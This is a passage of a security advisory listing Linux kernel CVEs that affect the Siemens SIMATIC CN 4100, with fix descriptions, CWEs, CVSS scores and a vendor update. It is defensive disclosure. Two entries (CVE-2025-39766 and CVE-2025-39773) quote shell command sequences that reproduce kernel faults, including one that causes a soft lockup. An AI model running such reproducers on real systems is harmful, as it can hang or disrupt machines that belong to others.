versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39759\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: btrfs: qgroup: fix race between quota disable and quota rescan ioctl There's a race between a task disabling quotas and another running the rescan ioctl that can result in a use-after-free of qgroup records from the fs_info->qgroup_tree rbtree. This happens as follows: 1) Task A enters btrfs_ioctl_quota_rescan() -> btrfs_qgroup_rescan(); 2) Task B enters btrfs_quota_disable() and calls btrfs_qgroup_wait_for_completion(), which does nothing because at that point fs_info->qgroup_rescan_running is false (it wasn't set yet by task A); 3) Task B calls btrfs_free_qgroup_config() which starts freeing qgroups from fs_info->qgroup_tree without taking the lock fs_info->qgroup_lock; 4) Task A enters qgroup_rescan_zero_tracking() which starts iterating the fs_info->qgroup_tree tree while holding fs_info->qgroup_lock, but task B is freeing qgroup records from that tree without holding the lock, resulting in a use-after-free. Fix this by taking fs_info->qgroup_lock at btrfs_free_qgroup_config(). Also at btrfs_qgroup_rescan() don't start the rescan worker if quotas were already disabled.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39760\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: usb: core: config: Prevent OOB read in SS endpoint companion parsing usb_parse_ss_endpoint_companion() checks descriptor type before length, enabling a potentially odd read outside of the buffer size. Fix this up by checking the size first before looking at any of the fields in the descriptor.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39766\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net/sched: Make cake_enqueue return NET_XMIT_CN when past buffer_limit The following setup can trigger a WARNING in htb_activate due to the condition: !cl->leaf.q->q.qlen tc qdisc del dev lo root tc qdisc add dev lo root handle 1: htb default 1 tc class add dev lo parent 1: classid 1:1 \\ htb rate 64bit tc qdisc add dev lo parent 1:1 handle f: \\ cake memlimit 1b ping -I lo -f -c1 -s64 -W0.001 127.0.0.1 This is because the low memlimit leads to a low buffer_limit, which causes packet dropping. However, cake_enqueue still returns NET_XMIT_SUCCESS, causing htb_enqueue to call htb_activate with an empty child qdisc. We should return NET_XMIT_CN when packets are dropped from the same tin and flow. I do not believe return value of NET_XMIT_CN is necessary for packet drops in the case of ack filtering, as that is meant to optimize performance, not to signal congestion.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39770\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: gso: Forbid IPv6 TSO with extensions on devices with only IPV6_CSUM When performing Generic Segmentation Offload (GSO) on an IPv6 packet that contains extension headers, the kernel incorrectly requests checksum offload if the egress device only advertises NETIF_F_IPV6_CSUM feature, which has a strict contract: it supports checksum offload only for plain TCP or UDP over IPv6 and explicitly does not support packets with extension headers. The current GSO logic violates this contract by failing to disable the feature for packets with extension headers, such as those used in GREoIPv6 tunnels. This violation results in the device being asked to perform an operation it cannot support, leading to a `skb_warn_bad_offload` warning and a collapse of network throughput. While device TSO/USO is correctly bypassed in favor of software GSO for these packets, the GSO stack must be explicitly told not to request checksum offload. Mask NETIF_F_IPV6_CSUM, NETIF_F_TSO6 and NETIF_F_GSO_UDP_L4 in gso_features_check if the IPv6 header contains extension headers to compute checksum in software. The exception is a BIG TCP extension, which, as stated in commit 68e068cabd2c6c53 (\"net: reenable NETIF_F_IPV6_CSUM offload for BIG TCP packets\"): \"The feature is only enabled on devices that support BIG TCP TSO. The header is only present for PF_PACKET taps like tcpdump, and not transmitted by physical devices.\" kernel log output (truncated): WARNING: CPU: 1 PID: 5273 at net/core/dev.c:3535 skb_warn_bad_offload+0x81/0x140 ... Call Trace: skb_checksum_help+0x12a/0x1f0 validate_xmit_skb+0x1a3/0x2d0 validate_xmit_skb_list+0x4f/0x80 sch_direct_xmit+0x1a2/0x380 __dev_xmit_skb+0x242/0x670 __dev_queue_xmit+0x3fc/0x7f0 ip6_finish_output2+0x25e/0x5d0 ip6_finish_output+0x1fc/0x3f0 ip6_tnl_xmit+0x608/0xc00 [ip6_tunnel] ip6gre_tunnel_xmit+0x1c0/0x390 [ip6_gre] dev_hard_start_xmit+0x63/0x1c0 __dev_queue_xmit+0x6d0/0x7f0 ip6_finish_output2+0x214/0x5d0 ip6_finish_output+0x1fc/0x3f0 ip6_xmit+0x2ca/0x6f0 ip6_finish_output+0x1fc/0x3f0 ip6_xmit+0x2ca/0x6f0 inet6_csk_xmit+0xeb/0x150 __tcp_transmit_skb+0x555/0xa80 tcp_write_xmit+0x32a/0xe90 tcp_sendmsg_locked+0x437/0x1110 tcp_sendmsg+0x2f/0x50 ... skb linear: 00000000: e4 3d 1a 7d ec 30 e4 3d 1a 7e 5d 90 86 dd 60 0e skb linear: 00000010: 00 0a 1b 34 3c 40 20 11 00 00 00 00 00 00 00 00 skb linear: 00000020: 00 00 00 00 00 12 20 11 00 00 00 00 00 00 00 00 skb linear: 00000030: 00 00 00 00 00 11 2f 00 04 01 04 01 01 00 00 00 skb linear: 00000040: 86 dd 60 0e 00 0a 1b 00 06 40 20 23 00 00 00 00 skb linear: 00000050: 00 00 00 00 00 00 00 00 00 12 20 23 00 00 00 00 skb linear: 00000060: 00 00 00 00 00 00 00 00 00 11 bf 96 14 51 13 f9 skb linear: 00000070: ae 27 a0 a8 2b e3 80 18 00 40 5b 6f 00 00 01 01 skb linear: 00000080: 08 0a 42 d4 50 d5 4b 70 f8 1a\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-573 Improper Following of Specification by Caller\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39772\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/hisilicon/hibmc: fix the hibmc loaded failed bug When hibmc loaded failed, the driver use hibmc_unload to free the resource, but the mutexes in mode.config are not init, which will access an NULL pointer. Just change goto statement to return, because hibnc_hw_init() doesn't need to free anything.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39773\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: bridge: fix soft lockup in br_multicast_query_expired() When set multicast_query_interval to a large value, the local variable 'time' in br_multicast_send_query() may overflow. If the time is smaller than jiffies, the timer will expire immediately, and then call mod_timer() again, which creates a loop and may trigger the following soft lockup issue. watchdog: BUG: soft lockup - CPU#1 stuck for 221s! [rb_consumer:66] CPU: 1 UID: 0 PID: 66 Comm: rb_consumer Not tainted 6.16.0+ #259 PREEMPT(none) Call Trace: __netdev_alloc_skb+0x2e/0x3a0 br_ip6_multicast_alloc_query+0x212/0x1b70 __br_multicast_send_query+0x376/0xac0 br_multicast_send_query+0x299/0x510 br_multicast_query_expired.constprop.0+0x16d/0x1b0 call_timer_fn+0x3b/0x2a0 __run_timers+0x619/0x950 run_timer_softirq+0x11c/0x220 handle_softirqs+0x18e/0x560 __irq_exit_rcu+0x158/0x1a0 sysvec_apic_timer_interrupt+0x76/0x90 This issue can be reproduced with: ip link add br0 type bridge echo 1 > /sys/class/net/br0/bridge/multicast_querier echo 0xffffffffffffffff > /sys/class/net/br0/bridge/multicast_query_interval ip link set dev br0 up The multicast_startup_query_interval can also cause this issue. Similar to the commit 99b40610956a (\"net: bridge: mcast: add and enforce query interval minimum\"), add check for the query interval maximum to fix this issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-667 Improper Locking\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39776\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm/debug_vm_pgtable: clear page table entries at destroy_args() The mm/debug_vm_pagetable test allocates manually page table entries for the tests it runs, using also its manually allocated mm_struct. That in itself is ok, but when it exits, at destroy_args() it fails to clear those entries with the *_clear functions. The problem is that leaves stale entries. If another process allocates an mm_struct with a pgd at the same address, it may end up running into the stale entry. This is happening in practice on a debug kernel with CONFIG_DEBUG_VM_PGTABLE=y, for example this is the output with some extra debugging I added (it prints a warning trace if pgtables_bytes goes negative, in addition to the warning at check_mm() function): [ 2.539353] debug_vm_pgtable: [get_random_vaddr ]: random_vaddr is 0x7ea247140000 [ 2.539366] kmem_cache info [ 2.539374] kmem_cachep 0x000000002ce82385 - freelist 0x0000000000000000 - offset 0x508 [ 2.539447] debug_vm_pgtable: [init_args ]: args->mm is 0x000000002267cc9e (...) [ 2.552800] WARNING: CPU: 5 PID: 116 at include/linux/mm.h:2841 free_pud_range+0x8bc/0x8d0 [ 2.552816] Modules linked in: [ 2.552843] CPU: 5 UID: 0 PID: 116 Comm: modprobe Not tainted 6.12.0-105.debug_vm2.el10.ppc64le+debug #1 VOLUNTARY [ 2.552859] Hardware name: IBM,9009-41A POWER9 (architected) 0x4e0202 0xf000005 of:IBM,FW910.00 (VL910_062) hv:phyp pSeries [ 2.552872] NIP: c0000000007eef3c LR: c0000000007eef30 CTR: c0000000003d8c90 [ 2.552885] REGS: c0000000622e73b0 TRAP: 0700 Not tainted (6.12.0-105.debug_vm2.el10.ppc64le+debug) [ 2.552899] MSR: 800000000282b033 CR: 24002822 XER: 0000000a [ 2.552954] CFAR: c0000000008f03f0 IRQMASK: 0 [ 2.552954] GPR00: c0000000007eef30 c0000000622e7650 c000000002b1ac00 0000000000000001 [ 2.552954] GPR04: 0000000000000008 0000000000000000 c0000000007eef30 ffffffffffffffff [ 2.552954] GPR08: 00000000ffff00f5 0000000000000001 0000000000000048 0000000000004000 [ 2.552954] GPR12: 00000003fa440000 c000000017ffa300 c0000000051d9f80 ffffffffffffffdb [ 2.552954] GPR16: 0000000000000000 0000000000000008 000000000000000a 60000000000000e0 [ 2.552954] GPR20: 4080000000000000 c0000000113af038 00007fffcf130000 0000700000000000 [ 2.552954] GPR24: c000000062a6a000 0000000000000001 8000000062a68000 0000000000000001 [ 2.552954] GPR28: 000000000000000a c000000062ebc600 0000000000002000 c000000062ebc760 [ 2.553170] NIP [c0000000007eef3c] free_pud_range+0x8bc/0x8d0 [ 2.553185] LR [c0000000007eef30] free_pud_range+0x8b0/0x8d0 [ 2.553199] Call Trace: [ 2.553207] [c0000000622e7650] [c0000000007eef30] free_pud_range+0x8b0/0x8d0 (unreliable) [ 2.553229] [c0000000622e7750] [c0000000007f40b4] free_pgd_range+0x284/0x3b0 [ 2.553248] [c0000000622e7800] [c0000000007f4630] free_pgtables+0x450/0x570 [ 2.553274] [c0000000622e78e0] [c0000000008161c0] exit_mmap+0x250/0x650 [ 2.553292] [c0000000622e7a30] [c0000000001b95b8] __mmput+0x98/0x290 [ 2.558344] [c0000000622e7a80] [c0000000001d1018] exit_mm+0x118/0x1b0 [ 2.558361] [c0000000622e7ac0] [c0000000001d141c] do_exit+0x2ec/0x870 [ 2.558376] [c0000000622e7b60] [c0000000001d1ca8] do_group_exit+0x88/0x150 [ 2.558391] [c0000000622e7bb0] [c0000000001d1db8] sys_exit_group+0x48/0x50 [ 2.558407] [c0000000622e7be0] [c00000000003d810] system_call_exception+0x1e0/0x4c0 [ 2.558423] [c0000000622e7e50] [c00000000000d05c] system_call_vectored_common+0x15c/0x2ec (...) [ 2.558892] ---[ end trace 0000000000000000 ]--- [ 2.559022] BUG: Bad rss-counter state mm:000000002267cc9e type:MM_ANONPAGES val:1 [ 2.559037] BUG: non-zero pgtables_bytes on freeing mm: -6144 Here the modprobe process ended up with an allocated mm_struct from the mm_struct slab that was used before by the debug_vm_pgtable test. That is not a problem, since the mm_stru ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39782\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: jbd2: prevent softlockup in jbd2_log_do_checkpoint() Both jbd2_log_do_checkpoint() and jbd2_journal_shrink_checkpoint_list() periodically release j_list_lock after processing a batch of buffers to avoid long hold times on the j_list_lock. However, since both functions contend for j_list_lock, the combined time spent waiting and processing can be significant. jbd2_journal_shrink_checkpoint_list() explicitly calls cond_resched() when need_resched() is true to avoid softlockups during prolonged operations. But jbd2_log_do_checkpoint() only exits its loop when need_resched() is true, relying on potentially sleeping functions like __flush_batch() or wait_on_buffer() to trigger rescheduling. If those functions do not sleep, the kernel may hit a softlockup. watchdog: BUG: soft lockup - CPU#3 stuck for 156s! [kworker/u129:2:373] CPU: 3 PID: 373 Comm: kworker/u129:2 Kdump: loaded Not tainted 6.6.0+ #10 Hardware name: Huawei TaiShan 2280 /BC11SPCD, BIOS 1.27 06/13/2017 Workqueue: writeback wb_workfn (flush-7:2) pstate: 20000005 (nzCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : native_queued_spin_lock_slowpath+0x358/0x418 lr : jbd2_log_do_checkpoint+0x31c/0x438 [jbd2] Call trace: native_queued_spin_lock_slowpath+0x358/0x418 jbd2_log_do_checkpoint+0x31c/0x438 [jbd2] __jbd2_log_wait_for_space+0xfc/0x2f8 [jbd2] add_transaction_credits+0x3bc/0x418 [jbd2] start_this_handle+0xf8/0x560 [jbd2] jbd2__journal_start+0x118/0x228 [jbd2] __ext4_journal_start_sb+0x110/0x188 [ext4] ext4_do_writepages+0x3dc/0x740 [ext4] ext4_writepages+0xa4/0x190 [ext4] do_writepages+0x94/0x228 __writeback_single_inode+0x48/0x318 writeback_sb_inodes+0x204/0x590 __writeback_inodes_wb+0x54/0xf8 wb_writeback+0x2cc/0x3d8 wb_do_writeback+0x2e0/0x2f8 wb_workfn+0x80/0x2a8 process_one_work+0x178/0x3e8 worker_thread+0x234/0x3b8 kthread+0xf0/0x108 ret_from_fork+0x10/0x20 So explicitly call cond_resched() in jbd2_log_do_checkpoint() to avoid softlockup.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39783\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: PCI: endpoint: Fix configfs group list head handling Doing a list_del() on the epf_group field of struct pci_epf_driver in pci_epf_remove_cfs() is not correct as this field is a list head, not a list entry. This list_del() call triggers a KASAN warning when an endpoint function driver which has a configfs attribute group is torn down: ================================================================== BUG: KASAN: slab-use-after-free in pci_epf_remove_cfs+0x17c/0x198 Write of size 8 at addr ffff00010f4a0d80 by task rmmod/319 CPU: 3 UID: 0 PID: 319 Comm: rmmod Not tainted 6.16.0-rc2 #1 NONE Hardware name: Radxa ROCK 5B (DT) Call trace: show_stack+0x2c/0x84 (C) dump_stack_lvl+0x70/0x98 print_report+0x17c/0x538 kasan_report+0xb8/0x190 __asan_report_store8_noabort+0x20/0x2c pci_epf_remove_cfs+0x17c/0x198 pci_epf_unregister_driver+0x18/0x30 nvmet_pci_epf_cleanup_module+0x24/0x30 [nvmet_pci_epf] __arm64_sys_delete_module+0x264/0x424 invoke_syscall+0x70/0x260 el0_svc_common.constprop.0+0xac/0x230 do_el0_svc+0x40/0x58 el0_svc+0x48/0xdc el0t_64_sync_handler+0x10c/0x138 el0t_64_sync+0x198/0x19c ... Remove this incorrect list_del() call from pci_epf_remove_cfs().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39787\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: soc: qcom: mdt_loader: Ensure we don't read past the ELF header When the MDT loader is used in remoteproc, the ELF header is sanitized beforehand, but that's not necessary the case for other clients. Validate the size of the firmware buffer to ensure that we don't read past the end as we iterate over the header. e_phentsize and e_shentsize are validated as well, to ensure that the assumptions about step size in the traversal are valid.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39788\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: ufs: exynos: Fix programming of HCI_UTRL_NEXUS_TYPE On Google gs101, the number of UTP transfer request slots (nutrs) is 32, and in this case the driver ends up programming the UTRL_NEXUS_TYPE incorrectly as 0. This is because the left hand side of the shift is 1, which is of type int, i.e. 31 bits wide. Shifting by more than that width results in undefined behaviour. Fix this by switching to the BIT() macro, which applies correct type casting as required. This ensures the correct value is written to UTRL_NEXUS_TYPE (0xffffffff on gs101), and it also fixes a UBSAN shift warning: UBSAN: shift-out-of-bounds in drivers/ufs/host/ufs-exynos.c:1113:21 shift exponent 32 is too large for 32-bit type 'int' For consistency, apply the same change to the nutmrs / UTMRL_NEXUS_TYPE write.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39790\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: bus: mhi: host: Detect events pointing to unexpected TREs When a remote device sends a completion event to the host, it contains a pointer to the consumed TRE. The host uses this pointer to process all of the TREs between it and the host's local copy of the ring's read pointer. This works when processing completion for chained transactions, but can lead to nasty results if the device sends an event for a single-element transaction with a read pointer that is multiple elements ahead of the host's read pointer. For instance, if the host accesses an event ring while the device is updating it, the pointer inside of the event might still point to an old TRE. If the host uses the channel's xfer_cb() to directly free the buffer pointed to by the TRE, the buffer will be double-freed. This behavior was observed on an ep that used upstream EP stack without 'commit 6f18d174b73d (\"bus: mhi: ep: Update read pointer only after buffer is written\")'. Where the device updated the events ring pointer before updating the event contents, so it left a window where the host was able to access the stale data the event pointed to, before the device had the chance to update them. The usual pattern was that the host received an event pointing to a TRE that is not immediately after the last processed one, so it got treated as if it was a chained transaction, processing all of the TREs in between the two read pointers. This commit aims to harden the host by ensuring transactions where the event points to a TRE that isn't local_rp + 1 are chained. [mani: added stable tag and reworded commit message]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-415 Double Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.7\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39794\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ARM: tegra: Use I/O memcpy to write to IRAM Kasan crashes the kernel trying to check boundaries when using the normal memcpy.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39795\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: block: avoid possible overflow for chunk_sectors check in blk_stack_limits() In blk_stack_limits(), we check that the t->chunk_sectors value is a multiple of the t->physical_block_size value. However, by finding the chunk_sectors value in bytes, we may overflow the unsigned int which holds chunk_sectors, so change the check to be based on sectors.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-674 Uncontrolled Recursion\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector 